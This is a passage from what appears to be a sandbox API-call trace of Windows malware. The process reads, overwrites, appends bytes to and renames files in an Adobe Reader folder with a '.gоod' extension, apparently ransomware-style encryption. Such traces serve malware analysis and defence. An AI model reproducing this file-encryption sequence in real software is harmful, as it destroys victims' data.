(dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0077.128] GetFileType (hFile=0x6b4) returned 0x1 [0077.128] ReadFile (in: hFile=0x6b4, lpBuffer=0x32e5c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x32e5c98*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0077.374] CloseHandle (hObject=0x6b4) returned 1 [0077.374] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe", lpFilePart=0x0) returned 0x47 [0077.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0077.374] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\logtransport2.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0077.374] GetFileType (hFile=0x6b4) returned 0x1 [0077.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0077.374] GetFileType (hFile=0x6b4) returned 0x1 [0077.374] WriteFile (in: hFile=0x6b4, lpBuffer=0x32780d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x32780d0*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0077.374] CloseHandle (hObject=0x6b4) returned 1 [0077.380] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe", lpFilePart=0x0) returned 0x47 [0077.380] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe.gоod", lpFilePart=0x0) returned 0x4c [0077.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0077.381] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\logtransport2.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x207aaff6, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2a55b7f8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x56660)) returned 1 [0077.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0077.381] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\logtransport2.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\logtransport2.exe.gоod")) returned 1 [0077.381] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf", lpFilePart=0x0) returned 0x4a [0077.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0077.382] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pdfsigqformalrep.pdf"), fInfoLevelId=0x0, lpFileInformation=0x3295150 | out: lpFileInformation=0x3295150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362bab1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x724ee)) returned 1 [0077.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0077.382] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf", lpFilePart=0x0) returned 0x4a [0077.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0077.382] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pdfsigqformalrep.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0077.382] GetFileType (hFile=0x6b4) returned 0x1 [0077.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0077.382] GetFileType (hFile=0x6b4) returned 0x1 [0077.382] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0077.382] ReadFile (in: hFile=0x6b4, lpBuffer=0x3295598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x3295598*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0077.386] CloseHandle (hObject=0x6b4) returned 1 [0077.386] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf", lpFilePart=0x0) returned 0x4a [0077.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0077.386] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pdfsigqformalrep.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0077.386] GetFileType (hFile=0x6b4) returned 0x1 [0077.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0077.387] GetFileType (hFile=0x6b4) returned 0x1 [0077.387] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x724ee [0077.387] WriteFile (in: hFile=0x6b4, lpBuffer=0x32b1918*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, lpOverlapped=0x0 | out: lpBuffer=0x32b1918*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0077.388] CloseHandle (hObject=0x6b4) returned 1 [0077.398] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf", lpFilePart=0x0) returned 0x4a [0077.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0077.398] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pdfsigqformalrep.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0077.399] GetFileType (hFile=0x6b4) returned 0x1 [0077.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0077.399] GetFileType (hFile=0x6b4) returned 0x1 [0077.399] ReadFile (in: hFile=0x6b4, lpBuffer=0x32bb3f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x32bb3f0*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0077.961] CloseHandle (hObject=0x6b4) returned 1 [0077.961] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf", lpFilePart=0x0) returned 0x4a [0077.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0077.961] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pdfsigqformalrep.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0077.961] GetFileType (hFile=0x6b4) returned 0x1 [0077.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0077.961] GetFileType (hFile=0x6b4) returned 0x1 [0077.961] WriteFile (in: hFile=0x6b4, lpBuffer=0x30f5fc0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x30f5fc0*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0077.962] CloseHandle (hObject=0x6b4) returned 1 [0078.038] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf", lpFilePart=0x0) returned 0x4a [0078.038] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf.gоod", lpFilePart=0x0) returned 0x4f [0078.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0078.038] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pdfsigqformalrep.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362bab1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2abb624d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x724fe)) returned 1 [0078.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0078.038] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pdfsigqformalrep.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pdfsigqformalrep.pdf.gоod")) returned 1 [0078.039] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer", lpFilePart=0x0) returned 0x3d [0078.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0078.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pmd.cer"), fInfoLevelId=0x0, lpFileInformation=0x3183380 | out: lpFileInformation=0x3183380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a4)) returned 1 [0078.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0078.040] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer", nBufferLength=0x105, lpBuffer=0x1f35c380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer", lpFilePart=0x0) returned 0x3d [0078.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8a0) returned 1 [0078.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pmd.cer"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0078.040] GetFileType (hFile=0x6b4) returned 0x1 [0078.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c810) returned 1 [0078.040] GetFileType (hFile=0x6b4) returned 0x1 [0078.040] GetFileSize (in: hFile=0x6b4, lpFileSizeHigh=0x1f35ca48 | out: lpFileSizeHigh=0x1f35ca48*=0x0) returned 0x1a4 [0078.040] ReadFile (in: hFile=0x6b4, lpBuffer=0x3183790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c978, lpOverlapped=0x0 | out: lpBuffer=0x3183790*, lpNumberOfBytesRead=0x1f35c978*=0x1a4, lpOverlapped=0x0) returned 1 [0078.041] CloseHandle (hObject=0x6b4) returned 1 [0078.068] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer", nBufferLength=0x105, lpBuffer=0x1f35c380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer", lpFilePart=0x0) returned 0x3d [0078.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8a0) returned 1 [0078.068] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pmd.cer"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0078.069] GetFileType (hFile=0x6b4) returned 0x1 [0078.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c810) returned 1 [0078.069] GetFileType (hFile=0x6b4) returned 0x1 [0078.069] WriteFile (in: hFile=0x6b4, lpBuffer=0x31fb698*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x1f35c888, lpOverlapped=0x0 | out: lpBuffer=0x31fb698*, lpNumberOfBytesWritten=0x1f35c888*=0x1b0, lpOverlapped=0x0) returned 1 [0078.070] CloseHandle (hObject=0x6b4) returned 1 [0078.071] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer", lpFilePart=0x0) returned 0x3d [0078.071] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer.gоod", lpFilePart=0x0) returned 0x42 [0078.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0078.071] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pmd.cer"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2abe7f6d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b0)) returned 1 [0078.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0078.071] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pmd.cer"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pmd.cer.gоod")) returned 1 [0078.072] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe", lpFilePart=0x0) returned 0x43 [0078.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0078.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\reader_sl.exe"), fInfoLevelId=0x0, lpFileInformation=0x31fc8f8 | out: lpFileInformation=0x31fc8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7a5f26, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xd250)) returned 1 [0078.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0078.183] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe", lpFilePart=0x0) returned 0x43 [0078.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0078.183] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\reader_sl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0078.183] GetFileType (hFile=0x76c) returned 0x1 [0078.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0078.183] GetFileType (hFile=0x76c) returned 0x1 [0078.183] SetFilePointer (in: hFile=0x76c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0078.183] ReadFile (in: hFile=0x76c, lpBuffer=0x313e1b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x313e1b8*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0078.308] CloseHandle (hObject=0x76c) returned 1 [0078.309] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe", lpFilePart=0x0) returned 0x43 [0078.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0078.309] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\reader_sl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0078.309] GetFileType (hFile=0x76c) returned 0x1 [0078.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0078.309] GetFileType (hFile=0x76c) returned 0x1 [0078.309] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0xd250 [0078.309] WriteFile (in: hFile=0x76c, lpBuffer=0x328f098*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, lpOverlapped=0x0 | out: lpBuffer=0x328f098*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0078.358] CloseHandle (hObject=0x76c) returned 1 [0078.514] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe", lpFilePart=0x0) returned 0x43 [0078.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0078.514] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\reader_sl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0078.514] GetFileType (hFile=0x76c) returned 0x1 [0078.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0078.514] GetFileType (hFile=0x76c) returned 0x1 [0078.514] ReadFile (in: hFile=0x76c, lpBuffer=0x316ebe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x316ebe0*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0078.544] CloseHandle (hObject=0x76c) returned 1 [0078.544] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe", lpFilePart=0x0) returned 0x43 [0078.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0078.544] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\reader_sl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0078.544] GetFileType (hFile=0x76c) returned 0x1 [0078.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0078.544] GetFileType (hFile=0x76c) returned 0x1 [0078.545] WriteFile (in: hFile=0x76c, lpBuffer=0x316d940*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x316d940*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0078.545] CloseHandle (hObject=0x76c) returned 1 [0078.546] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe", lpFilePart=0x0) returned 0x43 [0078.546] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe.gоod", lpFilePart=0x0) returned 0x48 [0078.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0078.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\reader_sl.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7a5f26, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2b0867de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd260)) returned 1 [0078.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0078.547] MoveFileW (lpExistingFileName="C:\\Program Files 